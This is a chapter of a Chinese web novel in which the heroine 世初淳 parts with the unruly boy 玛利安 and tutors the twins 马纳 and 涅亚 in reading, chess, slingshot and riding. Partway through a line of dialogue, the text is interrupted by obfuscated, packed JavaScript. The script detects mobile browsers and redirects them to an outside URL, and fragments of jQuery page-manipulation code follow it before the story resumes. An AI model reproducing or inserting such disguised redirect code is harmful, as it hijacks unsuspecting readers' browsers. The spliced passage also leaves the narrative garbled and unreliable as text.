73.老师

作品:《不可结缘,徒增寂寞

    这小孩,太脏了,也太粗暴了。


    世初淳拎起他的后衣领,往浴室里走。


    “好了,那你就是我的第一个顾客了,你既然不愿意告诉我名字,我就给你取一个吧。”


    “我是修女的话,你就坐圣母玛利亚旁边的神父吧,你以后就叫做玛利安了。”


    “玛利安是谁呀?我不许你随随便便给我取名字!”


    玛利安就此吵吵闹闹地在私塾里待了下来。


    学习二流,打架一流。


    世初淳说她喜欢温柔的人,玛利安就暴躁到天天跳脚。


    她说她讨厌烟酒赌,他就跑去赌场,学人家一掷千金。


    关键是他没有金,掷出去的全是石头,还被人打得头破血流。


    学半死不活的烟鬼卷烟抽,没留神把自己呛得半死。还挖酒家老板的酒糟,差点摔到木桶里溺死。


    处处跟世初淳对着干,还没一样干得好。


    “玛利安,你就这么讨厌我吗?”成为远近闻名的老师的世初淳,坐在书桌前问玛利安。


    “不然呢,难不成、难不成,你要我对你……”已经接受玛利安这个称呼的男孩,咬到了舌头。


    “既然这样,那你就去别的地方就读吧。”


    世初淳递出她写完的推荐信,放在玛利安手心。


    “小孩子不应该在某个地方浪费光阴。”她摸摸男孩子的头,“我会给你收拾好钱和行装,你可以去下一个学院就读。”


    “你、你要抛弃我!”玛利安瞪大了双眼,不敢相信自己听到的。


    “这不是抛弃,我……”世初淳没能继续把话说完。


    暴怒的玛利安重重地撞上她的额头,直撞得她的身子往后倒。“我就知道你们这样的人,你们这样的人……”


    带着咒骂的语气,说到最后,已是带上了哭腔。


    “就喜欢玩弄人心,一不顺心就会偷偷溜走。我就不应该相信你!”


    玛丽安愤怒地摔门而去。


    接下了家庭教师职位的世初淳,摸着被撞的部位叹息。


    首先,从最基础的识文辨字学起,为之后阅览群书,扩宽视野打基础。世初淳先教导两个孩子文化课。


    为了降低孩子们对文字的抵触,增加学习的趣味性,世初淳征得卡特里娜夫人同意,调制了两桶墨水,让他们用手触碰墨汁,在白色的墙壁上随意图画。


    马纳画了花花草草,初次手绘就有了笼统的形状。加以练习,未来不愁长不成一位出色的画家。


    涅亚则画了两块神奇的石头,世初淳给出答案后,得到羞愤的大红脸一张,涅亚羞耻地解释他画的是他和马纳。


    “抱歉……”


    “不要道歉啊!老师道歉的话,我成什么了!”


    看来即便是一母同胞的双胞胎,擅长的领域也各有不同。


    短头发的涅亚喜动,不爱看书。擅长登高爬低,四处撒欢式地摸索。讨厌老是待在固定的场所,被动地执行做某件事。是个从早到晚都闲不下来的性子。


    每次看到他旺盛得无处发泄的生命力,和那安装了电动马达似的充沛活力,午后倦怠的世初淳,不免要感慨一句,小孩子真是精力无穷。


    这不,涅亚在椅子上坐没一会,就忍不住东张西望。


    自幼相识的家庭教师,在台上写着板书,他就盯准了泄着春光的窗户。预备趁老师没注意的功夫,一个猛跳,拽着窗帘做降落梯子逃之夭夭。


    他刚要动作,背后仿佛长着眼睛的教师就开口,“骨折了就更逃不掉读书的哦。卡特里娜夫人和马纳会哭得很伤心的。”


    “谁,谁骨折。”没反应过来的马纳,东看看,西望望,“为什么母亲大人和我会哭得很伤心?”


    啧。他才不会骨折呢。小看谁啊!被掐死七寸的涅亚,放弃了逃跑的念想。


    透过镜子观察背后情况的世初淳,摸摸马纳的脑袋,“没什么,我在排练话剧。过段时间会带你和涅亚去趟歌剧院。”


    “真的?”马纳双眼亮晶晶。


    “真的。”世初淳和他拉勾。


    都多大人了,还学小孩子的玩意。


    小孩子的涅亚自诩是个大人了,才不吃世初淳那一招。


    他嘴里叼着根笔,两只脚晃啊晃,直想拆了桌脚。


    “书有什么用,我都读不进去。它不认识我,我不认识它。我看见文字就晕,看没几句就要打瞌睡。拿来催眠还行。”


    书没翻完,他就忘光了前面的内容,看了有什么用处?


    “涅亚。”世初淳叫了他的名字。


    又要和母亲一样,说那些书籍不是为了有用才读,而是不积跬步,无以至千里的大道理了。


    涅亚捂着耳朵,不乐意听。


    世初淳剥了颗葡萄,喂给竖起耳朵认真听讲的马纳小朋友。


    “小时候,有位老师向我推荐了一本名人写的书。名家们将它夸得天花乱坠,我却无论如何都看不进去。”


    “用时几个月,艰难地啃完了,却也什么都没记进脑子里。看完全本,连半个字都想不起来。”


    世初淳拿手帕沾水,给自己擦手。


    “我很羞愧。老师则说,‘也是,以你这个年纪,看不进去很正常,等你以后有了兴致再读吧。’”


    “书可以放到以后再读,不过,认识文字的课程还是得继续进行。做个文盲会很辛苦。”


    世初淳不大明晰当下的贵族教育授课过程,她咨询了贵族学校的教师意见,和卡特里娜夫人交谈完毕,再结合自己从事过的自动书记人偶事业,与王公将相们的交集,整理出一些内容,整合成一张日程表。


    大概分为三个方面。


    文化熏陶、艺术赏析、兴趣培养。


    对两个孩子同时授课的世初淳,教他们下国际象棋。


    她细致地讲解完规则,确保两名学生都听明白了。一对二,赢。


    “好过分!老师作弊!”输不起的涅亚,拍桌而起。


    绞尽脑汁,依然一败涂地的马纳,咬着唇,不愿意面对兵败如山倒的现实。


    世初淳弹了涅亚的脑门,“大丈夫,输了就要大大方方地承认。不能因为一时的得失,随便冤枉好人。”


    然后摸摸马纳的脑袋瓜子,“你才刚学,下得多了,就能赢得胜利。”


    当然,该处罚的还是得处罚。她拿着毛笔,在两个孩子额头画了一只小乌龟。


    “还要继续玩吗?”


    “来,谁怕谁!”


    那晚以两个小孩满脸、满手臂、腿画满小乌龟结尾。


    偷偷摸摸躲在树后面看的玛利安,心情倍儿爽。


    偏得理不饶人,口头犯倔,“欺负小孩,你不会觉得不好意思?”


    “不仅不会,还乐在其中呢。


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15919830|174909||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    ”世初淳一拉弹弓,射中先前撞了人就跑的红发小鬼头,“谁叫你们现在只能被我欺负呢?”


    少小不欺负,老大徒伤悲。


    被打中屁股的玛利安,尖叫着跳出草丛。在一院子仆人的眼皮子底下,颜面尽失。小脸蛋顿时涨得跟他头发一样红。


    “你竟然射我屁股!”


    这倒是有原因的,那里肉多,失手了,危害性也不大。世初淳自然不会和他讲解。


    “不仅射你,还要打你呢。下次你再不分青红皂白地撞了人就跑,我就亲自上手打你屁股!”


    “你你你你——”联想到那画面的玛利安,一张脸蛋快要蒸熟了,“不要脸!”


    世初淳卷起袖子,作势要跨过草丛抓人。


    玛利安一蹦三尺高,灰溜溜地跑了,“臭流氓!你给我等着!等我长大了,我誓要百倍偿还!”


    “那我就拭目以待了。”


    世初淳交给马纳、涅亚各一个弹弓,让他们一日射二十发,射中她指定的目标为准,为以后的箭术课做准备。


    据世初淳涉足的地带观测,这个节点较为便利的交通工具还没有步入千家万户。


    比如汽车、三轮车、自行车。


    她虽然委托工匠帮忙打造了一辆自行车,可花费的金钱、材料,远超过一般人的承担范围,还远不如现代的便捷灵动。


    别说量产来贩卖,就连光打造一台成功的半成品样本,都差点令她倾家荡产。


    造,是造出来了。


    用,也能勉为其难地用上一用。


    就是结果不尽人意,每每看到,就会联想到耗费的财产,直教人心头堵得慌。


    再者,大到城市,小到乡村,地面铺得坑坑洼洼的,没有全方面修出平整的、适合车辆通行的道路。


    这时代的交通工具,大多数仍然局限于马车、牛车之类,由牲畜牵引的代步工具上。


    故而,马术课是必不可少的。


    世初淳挑选了两匹性情温顺的小马驹,套好笼头、马鞍、缰绳等器具,让马纳和涅亚通过喂食、触摸,一步步和小马们培养感情,变得熟悉后再进入骑乘的步骤。


    初次会面当天,两兄弟兴奋地给小马驹取名字,天暗了都舍不得回屋梳洗。


    小孩子就是这样,一有什么感兴趣的新鲜事物,就会全身心地投入。有无穷的精神头可以挥霍,不愁没有明日。


    当马纳和涅亚兴高采烈地介绍他们给坐骑取的名字时,世初淳的第一反应是不大妙。


    孩子们能会养很多种类的动物,那些动物却大多不能伴随他们长久。


    除非养乌龟,养得好了,活到老,能把主人的子子孙孙都送走。


    名字是咒语的一种。


    拥有了名字,相当于持有了一份牵挂。


    不管本人愿不愿意,都会在所难免地在心头留下痕迹。就算来日遗忘了当事者的模样,与那人、物共同的经历,也变得模糊不清。


    却会在忽然想起对方的细枝末节时,从心底深处涌现出无尽的空虚。


    她只能寄希望于马纳和涅亚年龄小,忘性大。


    凡事不要太留念,相忘于江湖比较好。


    现在想想,让两个孩子叫自己老师挺好。不加上姓,以后就会有数不尽的老师,取代掉她的个体。


    卡特里娜夫人会竭尽全力给马纳和涅亚找其他老师的。